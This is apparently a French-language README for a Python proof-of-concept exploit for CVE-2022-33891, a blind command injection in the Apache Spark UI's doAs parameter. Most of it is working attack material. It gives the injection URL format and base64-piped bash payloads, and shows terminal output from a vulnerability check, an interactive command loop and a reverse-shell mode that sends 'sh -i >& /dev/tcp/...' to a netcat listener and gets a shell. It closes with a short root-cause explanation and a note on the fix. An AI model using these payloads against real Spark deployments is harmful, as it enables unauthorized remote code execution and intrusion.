
Vulnérabilité d'injection de commande dans Apache Spark Shell
Vulnérabilité d'injection de commande dans le shell Apache Spark
Un POC Python pour exploiter la vulnérabilité d'injection de commande dans le shell Apache Spark. J'ai vu d'autres POC ailleurs, mais ils avaient l'air très suspects. Celui-ci est propre et simple.
Je n'ai pas découvert cet exploit/cette vulnérabilité. Je voulais juste faire un POC sûr pour la communauté ^.^
CVE découverte à l'origine par Kostya Kortchinsky de Databricks.
Mise à jour 9/7/22 : Hé, il y a maintenant un module Metasploit pour cela ! Créé par h00die-gr3y et il est maintenant fusionné!
Apache Spark versions 3.0.3 et antérieures, versions 3.1.1 à 3.1.2, et versions 3.2.0 à 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
Exemple
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... dort pendant 10 secondes
Vous avez besoin d'une version vulnérable de Spark avec une seule option de configuration modifiée.
$ pip3 install -r requirements.txtspark/.docker-compose.yml fourni dans le répertoire spark/ et exécutez docker-compose up. Laissez le conteneur démarrer.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose up┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is
exploitable with a sleep test
--verbose Verbose mode
Vérifiez si la cible est vulnérable :
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!
Exécutez des commandes dans une boucle d'invite de commandes :
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891>
Exécutez un shell inversé :
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...
...[in the other terminal]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
L'injection de commande se produit car Spark vérifie l'appartenance au groupe de l'utilisateur passé dans le paramètre ?doAs en utilisant une commande Linux brute. L'interpolation Bash exécute la commande, envoie la sortie au champ id et tente de rechercher l'utilisateur résultant.
Passer which python comme valeur de ?doAs= produit ce résultat dans la trace :
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
Ici, Java a décidé qu'il serait préférable de passer la commande id dans bash -c pour vérifier l'appartenance au groupe d'un utilisateur spécifié. Le problème est que cela permet également l'injection de commande. L'interpolation Bash a évalué la commande donnée et imprimé les résultats sur la ligne 1 de cette sortie, et tente de rechercher l'utilisateur par la sortie standard de la commande.
Il n'y a pas d'utilisateur nommé /opt/bitnami/python/bin/python mais cela signifie que la commande a bien été passée à Bash et exécutée.
Les versions corrigées paramètrent cet appel pour utiliser un chemin complet vers la commande /bin/id au lieu de bash -c id.
Il est à noter que rien n'est reflété sur la page lors de l'exécution de la commande, il s'agit donc d'une injection OS aveugle. Vos commandes s'exécutent, mais il n'y aura aucune indication qu'elles ont fonctionné ou non, ni même si le programme que vous exécutez est présent sur la cible. Par exemple, le conteneur qui est démarré avec le fichier docker-compose.yml de ce dépôt n'a pas ping, donc vérifier l'injection de commande via un pingback ne fonctionnera pas. Mais vous ne le saurez pas, donc vous vous demanderez si cela a fonctionné ou non.
Le test de mise en veille est un pari sûr ^.^
Je n'ai passé absolument aucun cycle à rendre ce POC sûr du point de vue OPSEC. Les red teamers, c'est votre affaire.
Ce POC n'a aucune capacité de recensement passif. L'exploit est une injection de commande aveugle. Si vous utilisez ce script contre une cible, vous envoyez des paquets vers celle-ci. Même si vous utilisez le paramètre --check et que la cible est vulnérable, vous l'exploitez activement pour prouver qu'elle est vulnérable.
Ne l'utilisez pas sur des systèmes de production sensibles aux tests. Ne l'utilisez pas contre des cibles si vous n'avez pas l'autorisation de le faire. Je ne suis en aucun cas responsable de la façon dont vous choisissez d'utiliser ceci.
Jetez un œil à la licence.